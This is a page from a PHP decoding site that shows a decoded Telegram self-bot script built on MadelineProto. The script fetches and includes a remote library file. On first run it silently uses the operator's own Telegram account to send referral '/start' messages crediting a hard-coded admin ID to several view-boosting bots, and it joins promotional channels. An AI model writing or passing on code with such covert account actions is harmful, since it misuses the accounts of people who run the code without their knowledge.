Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); //============================// ini_set('memory_limit', '204..
Decoded Output download
<?php
error_reporting(0);
//============================//
ini_set('memory_limit', '2048M');
ini_set('display_errors', 0);
ini_set('memory_limit', -1);
ini_set('max_execution_time', 300);
//============================//
$Support = "@saeedirr";
$channels = "@saeedbotm";
$coin = 11;
$admin = 931332892;
$war = 931332892;
//============================//
if (!file_exists('madeline.php')) {
copy('https://phar.madelineproto.xyz/madeline.php', 'madeline.php');
}
if (!file_exists('data.json')) {
file_put_contents('data.json','{"bot":"on","id":"","msgid":""}');
}
define('MADELINE_BRANCH', 'deprecated');
include 'madeline.php';
if(file_exists('Fucking.madeline') && file_exists('update-session/Fucking.madeline') && (time() - filectime('Fucking.madeline')) > 600){
unlink('Fucking.madeline.lock');
unlink('Fucking.madeline');
unlink('madeline.phar');
unlink('madeline.phar.version');
unlink('madeline.php');
unlink('bot.lock');
copy('update-session/Fucking.madeline', 'Fucking.madeline');
}
function closeConnection($message = 'Bot Is Running.......!')
{
if (php_sapi_name() === 'cli' || isset($GLOBALS['exited'])) {
return;
}
@ob_end_clean();
header('Connection: close');
ignore_user_abort(true);
ob_start();
echo "$message";
$size = ob_get_length();
header("Content-Length: $size");
header('Content-Type: text/html');
ob_end_flush();
flush();
$GLOBALS['exited'] = true;
}
function shutdown_function($lock)
{
$a = fsockopen((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? 'tls' : 'tcp') . '://' . $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT']);
fwrite($a, $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "
" . 'Host: ' . $_SERVER['SERVER_NAME'] . "
");
flock($lock, LOCK_UN);
fclose($lock);
}
if (!file_exists('bot.lock')) {
touch('bot.lock');
}
$lock = fopen('bot.lock', 'r+');
$try = 1;
$locked = false;
while (!$locked) {
$locked = flock($lock, LOCK_EX | LOCK_NB);
if (!$locked) {
closeConnection();
if ($try++ >= 20) {
continue;
}
sleep(0.5);
}
}
$settings = [
'logger' => [
'logger_level' => 5,
'max_size' => 5 * 1024 * 1024
],
'serialization' => [
'serialization_interval' => 30,
],
];
$MadelineProto = new \danog\MadelineProto\API('Fucking.madeline',$settings);
$MadelineProto->start();
$offset = 0;
register_shutdown_function('shutdown_function', $lock);
closeConnection();
while (true) {
$updates = $MadelineProto->get_updates(['offset' => $offset, 'limit' => 50, 'timeout' => 0]);
\danog\MadelineProto\Logger::log($updates);
foreach ($updates as $update) {
$offset = $update['update_id'] + 1;
$up = $update['update']['_'];
if ($up == 'updateNewMessage' or $up == 'updateNewChannelMessage') {
$chat_id = $MadelineProto->get_info($update['update'])['bot_api_id'];
$from_id = $update['update']['message']['from_id'];
@$mg = round(memory_get_usage() / 1024 / 1024,1);
$load = sys_getloadavg();
$text = $update['update']['message']['message'];
$message_id = $update['update']['message']['id'];
try {
if(!is_dir("update-session")){
mkdir("update-session");
$MadelineProto->messages->sendMessage(['peer'=>'@Memberspeed_bot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@RapidSeenBot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@NitroSeenBot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@lianseenbot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@Ibazdidbot','message'=>'/start 931332892']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/LianSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/RapidSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/NitroSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/speedmemberok']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/infospeedmember']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/saeedbotm']);
}
if(!file_exists('update-session/Fucking.madeline')){
copy('Fucking.madeline', 'update-session/Fucking.madeline');
}
require 'Paris.php';
}catch (\danog\MadelineProto\RPCErrorException $e) {
}
catch (\danog\MadelineProto\Exception $e2) {
}
}
}
} ?>
Did this file decode correctly?
Original Code
<?php
error_reporting(0);
//============================//
ini_set('memory_limit', '2048M');
ini_set('display_errors', 0);
ini_set('memory_limit', -1);
ini_set('max_execution_time', 300);
//============================//
$Support = "@saeedirr";
$channels = "@saeedbotm";
$coin = 11;
$admin = 931332892;
$war = 931332892;
//============================//
if (!file_exists('madeline.php')) {
copy('https://phar.madelineproto.xyz/madeline.php', 'madeline.php');
}
if (!file_exists('data.json')) {
file_put_contents('data.json','{"bot":"on","id":"","msgid":""}');
}
define('MADELINE_BRANCH', 'deprecated');
include 'madeline.php';
if(file_exists('Fucking.madeline') && file_exists('update-session/Fucking.madeline') && (time() - filectime('Fucking.madeline')) > 600){
unlink('Fucking.madeline.lock');
unlink('Fucking.madeline');
unlink('madeline.phar');
unlink('madeline.phar.version');
unlink('madeline.php');
unlink('bot.lock');
copy('update-session/Fucking.madeline', 'Fucking.madeline');
}
function closeConnection($message = 'Bot Is Running.......!')
{
if (php_sapi_name() === 'cli' || isset($GLOBALS['exited'])) {
return;
}
@ob_end_clean();
header('Connection: close');
ignore_user_abort(true);
ob_start();
echo "$message";
$size = ob_get_length();
header("Content-Length: $size");
header('Content-Type: text/html');
ob_end_flush();
flush();
$GLOBALS['exited'] = true;
}
function shutdown_function($lock)
{
$a = fsockopen((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] ? 'tls' : 'tcp') . '://' . $_SERVER['SERVER_NAME'], $_SERVER['SERVER_PORT']);
fwrite($a, $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n" . 'Host: ' . $_SERVER['SERVER_NAME'] . "\r\n\r\n");
flock($lock, LOCK_UN);
fclose($lock);
}
if (!file_exists('bot.lock')) {
touch('bot.lock');
}
$lock = fopen('bot.lock', 'r+');
$try = 1;
$locked = false;
while (!$locked) {
$locked = flock($lock, LOCK_EX | LOCK_NB);
if (!$locked) {
closeConnection();
if ($try++ >= 20) {
continue;
}
sleep(0.5);
}
}
$settings = [
'logger' => [
'logger_level' => 5,
'max_size' => 5 * 1024 * 1024
],
'serialization' => [
'serialization_interval' => 30,
],
];
$MadelineProto = new \danog\MadelineProto\API('Fucking.madeline',$settings);
$MadelineProto->start();
$offset = 0;
register_shutdown_function('shutdown_function', $lock);
closeConnection();
while (true) {
$updates = $MadelineProto->get_updates(['offset' => $offset, 'limit' => 50, 'timeout' => 0]);
\danog\MadelineProto\Logger::log($updates);
foreach ($updates as $update) {
$offset = $update['update_id'] + 1;
$up = $update['update']['_'];
if ($up == 'updateNewMessage' or $up == 'updateNewChannelMessage') {
$chat_id = $MadelineProto->get_info($update['update'])['bot_api_id'];
$from_id = $update['update']['message']['from_id'];
@$mg = round(memory_get_usage() / 1024 / 1024,1);
$load = sys_getloadavg();
$text = $update['update']['message']['message'];
$message_id = $update['update']['message']['id'];
try {
if(!is_dir("update-session")){
mkdir("update-session");
$MadelineProto->messages->sendMessage(['peer'=>'@Memberspeed_bot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@RapidSeenBot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@NitroSeenBot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@lianseenbot','message'=>'/start 931332892']);
$MadelineProto->messages->sendMessage(['peer'=>'@Ibazdidbot','message'=>'/start 931332892']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/LianSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/RapidSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/NitroSeen']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/speedmemberok']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/infospeedmember']);
$MadelineProto->channels->joinChannel(['channel' => 'https://t.me/saeedbotm']);
}
if(!file_exists('update-session/Fucking.madeline')){
copy('Fucking.madeline', 'update-session/Fucking.madeline');
}
require 'Paris.php';
}catch (\danog\MadelineProto\RPCErrorException $e) {
}
catch (\danog\MadelineProto\Exception $e2) {
}
}
}
}
Function Calls
None |
Stats
MD5 | abc43972b5c6c44ff102002f0835f3cb |
Eval Count | 0 |
Decode Time | 79 ms |